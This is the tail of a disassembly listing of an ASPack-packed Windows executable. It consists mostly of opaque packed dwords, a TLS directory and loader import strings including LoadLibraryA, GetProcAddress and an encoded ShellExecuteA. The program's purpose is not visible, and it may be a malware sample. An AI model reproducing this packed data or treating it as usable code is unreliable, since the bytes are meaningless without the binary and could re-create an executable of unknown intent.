		dd 7D8928h, 33C5D8Bh, 10F983C3h, 89404589h, 7C6C3444h
		dd 758B4Dh, 1024448Bh, 1C245C8Bh, 8CBA8Bh, 0EEC10000h
		dd 25CE8B10h, 0FFh, 0FB03CB2Bh,	0D18BD88Ah, 7489FB8Ah
		dd 0C38B1C24h, 1424748Bh, 6610E0C1h, 0E9C1C38Bh, 8BABF302h
		dd 24548BCAh, 3E18320h,	7C8BAAF3h, 4C8B2424h, 448B1824h
		dd 0C6831024h, 83494004h, 0F98304C5h, 24448909h, 244C8910h
		dd 24748918h, 628D0F14h, 81FFFFFFh, 0FFh, 5F0F7401h, 0C0325D5Eh
		dd 98C4815Bh, 0C2000000h, 828B0004h, 84h, 0C085C933h, 0B48B3B76h
		dd 0AC24h, 31048A00h, 2274C084h, 88BA8Bh, 0FF250000h, 8B000000h
		dd 89688444h, 0C033870Ch, 8B31048Ah, 8D68847Ch,	47688444h
		dd 828B3889h, 84h, 72C83B41h, 5D5E5FCCh, 815B01B0h, 98C4h
		dd 4C200h, 8B565351h, 68B57F1h,	8047883h, 88B3072h, 8841118Ah
		dd 890C2454h, 8488B08h,	0C24548Bh, 8108E1C1h, 0FFE2h, 8BCA0B00h
		dd 0C2830450h, 84889F8h, 5089CA8Bh, 8F98304h, 508BD073h
		dd 8408B04h, 8B9h, 0D3CA2B00h, 244E8BE8h, 0FFFE0025h, 73C13B00h
		dd 8C968B14h, 8B000000h, 10E9C1C8h, 1C8ADB33h, 0EBD38B11h
		dd 2C463B3Bh, 463B0A73h, 83D21B28h, 2CEB0AC2h, 7330463Bh
		dd 0BBA07h, 20EB0000h, 7334463Bh, 0CBA07h, 14EB0000h, 7338463Bh
		dd 0DBA07h, 8EB0000h, 1B3C463Bh, 0FC283D2h, 798B0E8Bh
		dd 89FA0304h, 1C8B0479h, 18B996h, 0C32B0000h, 0D35FCA2Bh
		dd 964C8BE8h, 8BC10344h, 888Eh,	8B5B5E00h, 0C3598104h
		dd 8B575653h, 33D233F9h, 68B78DC0h, 89000002h, 57E85616h
		dd 8A000002h, 403A308Ch, 0BB5E0044h, 1,	0D304C683h, 40D303E3h
		dd 723AF883h, 24448BDEh, 104F8D10h, 2D16850h, 48E80000h
		dd 50FFFFFDh, 8F8D1C6Ah, 0A0h, 0FFFD3AE8h, 86A50FFh, 1308F8Dh
		dd 2CE80000h, 50FFFFFDh, 8F8D136Ah, 1C0h, 0FFFD1EE8h, 608789FFh
		dd 5F000002h, 2F5055Eh,	0C25B0000h, 448B0004h, 0D18B0824h
		dd 4244C8Bh, 8D028957h,	8890442h, 200440C7h, 89000000h
		dd 82891042h, 0A0h, 1308289h, 82890000h, 1C0h, 0BDB9C033h
		dd 89000000h, 25082h, 54828900h, 89000002h, 25882h, 60BA8B00h
		dd 89000002h, 25C82h, 8BABF300h, 4E8AACAh, 5F000000h, 810008C2h
		dd 30CECh, 0D98B5300h, 6B8D5655h, 16A5704h, 29E8CD8Bh
		dd 85FFFFFCh, 8B0E75C0h, 260BBh, 0BDB900h, 0ABF30000h
		dd 6AF633AAh, 0E8CD8B04h, 0FFFFFC0Ch, 10344488h, 13FE8346h
		dd 0BB8DED72h, 1C0h, 1024448Dh,	0E8CF8B50h, 0FFFFFC80h
		dd 0B75C084h, 5B5D5E5Fh, 30CC481h, 33C30000h, 0E8CF8BF6h
		dd 0FFFFFDE4h, 7310F883h, 608B8B15h, 8A000002h,	0D0023114h
		dd 880FE280h, 46243454h, 287560EBh, 0CD8B026Ah,	0FFFBB3E8h
		dd 3C083FFh, 4E7EC085h,	2F5FE81h, 527D0000h, 23344C8Ah
		dd 344C8848h, 0C0854624h, 36EBEA7Fh, 7511F883h,	8B036A0Eh
		dd 0FB86E8CDh, 0C083FFFFh, 6A0CEB03h, 0E8CD8B07h, 0FFFFFB78h
		dd 850BC083h, 81137EC0h, 2F5FEh, 0C6177D00h, 243444h, 0C0854846h
		dd 0FE81ED7Fh, 2F5h, 0FF738C0Fh, 548DFFFFh, 4B8D2424h
		dd 0D5E85210h, 84FFFFFBh, 5F0B75C0h, 815B5D5Eh,	30CC4h
		dd 848DC300h, 2F524h, 0A08B8D00h, 50000000h, 0FFFBB3E8h
		dd 75C084FFh, 5D5E5F0Bh, 0CC4815Bh, 0C3000003h,	11248C8Dh
		dd 51000003h, 1308B8Dh,	91E80000h, 84FFFFFBh, 5F0B75C0h
		dd 815B5D5Eh, 30CC4h, 83C6C300h, 264h, 80C03300h, 31104BCh
		dd 75030000h, 0F8834008h, 0EBF07208h, 6483C607h, 1000002h
		dd 260BB8Bh, 748D0000h,	0F5B92424h, 0F3000002h,	5D5E5FA4h
		dd 815B01B0h, 30CC4h, 1E8C300h,	90000000h, 0C7EE815Eh
		dd 0C3004445h, 8B14EC83h, 531C2444h, 0C75655h, 0
		dd 2424448Bh, 85FF3357h, 89F18BC0h, 0F10247Ch, 25B86h
		dd 104E8D00h, 0FFFC83E8h, 1003DFFh, 13730000h, 1880E8Bh
		dd 47410E8Bh, 7C890E89h, 29E91024h, 3D000002h, 2D0h, 213830Fh
		dd 50000h, 8BFFFFFFh, 7E083E8h,	8D03EDC1h, 0F8830250h
		dd 24548907h, 94850F14h, 8D000000h, 0A08Eh, 0FC36E800h
		dd 4E8BFFFFh, 56DB3308h, 0FFFF6DE8h, 309C8AFFh,	44401Eh
		dd 8F9835Eh, 4E8B3272h,	41118A04h, 18245488h, 8B044E89h
		dd 548B0C4Eh, 0E1C11824h, 0FFE28108h, 0B000000h, 8568BCAh
		dd 89F8C283h, 0CA8B0C4Eh, 83085689h, 0CE7308F9h, 8B087E8Bh
		dd 8B90C56h, 2B000000h,	0D3FB03CFh, 18B9EAh, 7E890000h
		dd 81CB2B08h, 0FFFFFFE2h, 33EAD300h, 3E856C9h, 8AFFFFFFh
		dd 4002308Ch, 8B5E0044h, 3142444h, 89C103CAh, 8A142444h
		dd 26486h, 0AE9C8B00h, 268h, 0E856D233h, 0FFFFFEDAh, 3A35948Ah
		dd 5E004440h, 0FA8BC084h, 0FF837674h, 8B717203h, 6F8D0846h
		dd 8F883FDh, 468B3172h,	0C568B04h, 8A08E2C1h, 4C884008h
		dd 4E8B1C24h, 4468908h,	1C24448Bh, 0FF25h, 0F8C18300h
		dd 0C18BD00Bh, 8908F883h, 4E890C56h, 8BCF7308h,	7E8B0846h
		dd 8B90Ch, 0C82B0000h, 0EFD3C503h, 18B9h, 8468900h, 0E781CD2Bh
		dd 0FFFFFFh, 8E8DEFD3h,	130h, 0FFFB1BE8h, 8DC303FFh, 5BEBF81Ch
		dd 8087E83h, 468B3172h,	0C568B04h, 8A08E2C1h, 4C884008h
		dd 4E8B2024h, 4468908h,	2024448Bh, 0FF25h, 0F8C18300h
		dd 0C18BD00Bh, 8908F883h, 4E890C56h, 8BCF7308h,	468B0856h
		dd 8B90Ch, 0CA2B0000h, 0E8D3D703h, 18B9h, 8568900h, 0FF25CF2Bh
		dd 0D300FFFFh, 83D803E8h, 1A7303FBh, 509E8C8Bh,	85000002h
		dd 8B3074DBh, 25096h, 9E948900h, 250h, 868B1BEBh, 254h
		dd 250968Bh, 4B8D0000h,	588689FDh, 89000002h, 25496h, 508E8900h
		dd 8B000002h, 247C8B06h, 148D4114h, 89C23B38h, 8B107316h
		dd 40D12BD0h, 5088128Ah, 3B168BFFh, 8BF072C2h, 3102444h
		dd 244489C7h, 0EBF88B10h, 0E8CE8B0Bh, 0FFFFFBF7h, 1C74C084h
		dd 28247C3Bh, 0FDAB820Fh, 448BFFFFh, 38892C24h,	0B05D5E5Fh
		dd 0C4835B01h, 8C214h, 325D5E5Fh, 0C4835BC0h, 8C214h
TlsDirectory	dd offset TlsStart
TlsEnd_ptr	dd offset TlsEnd
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsCallbacks
TlsSizeOfZeroFill dd 0
TlsCharacteristics dd 0
		align 8
		dd 8, 77E7A5FDh, 77E79F93h, 77E805D8h, 0
aKernel32_dll_1	db 'kernel32.dll',0
		db 2 dup(0), 47h
aEtprocaddress	db 'etProcAddress',0
		align 4
aGetmodulehandl	db 'GetModuleHandleA',0
		db 2 dup(0), 4Ch
aOadlibrarya	db 'oadLibraryA',0
		dd 3 dup(0)
		dd 0BF6Ch, 0BF5Ch, 3 dup(0)
		dd 0C010h, 0C034h, 3 dup(0)
		dd 0C01Bh, 0C03Ch, 3 dup(0)
		dd 0C028h, 0C044h, 5 dup(0)
aUser32_dll	db 'user32.dll',0
aAdvapi32_dll	db 'advapi32.dll',0
aShell32_dll	db 'shell32.dll',0
aSW		db 'w',0
		align 4
aW		db '#w',0
		align 4
aClbw		db 'Bw',0
		align 4
		dd 65470000h, 79654B74h, 72616F62h, 70795464h, 65h, 51676552h
		dd 79726575h, 756C6156h, 41784565h, 53000000h, 6C6C6568h
		dd 63657845h, 41657475h, 3E0h dup(0)
_aspack		ends

; Section 10. (virtual address 0000D000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0000D000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_adata		segment	para public 'DATA' use32
		assume cs:_adata
		;org 40D000h
		align 2000h
_adata		ends

; Section 11. (virtual address 0000E000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0000E000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 40E000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start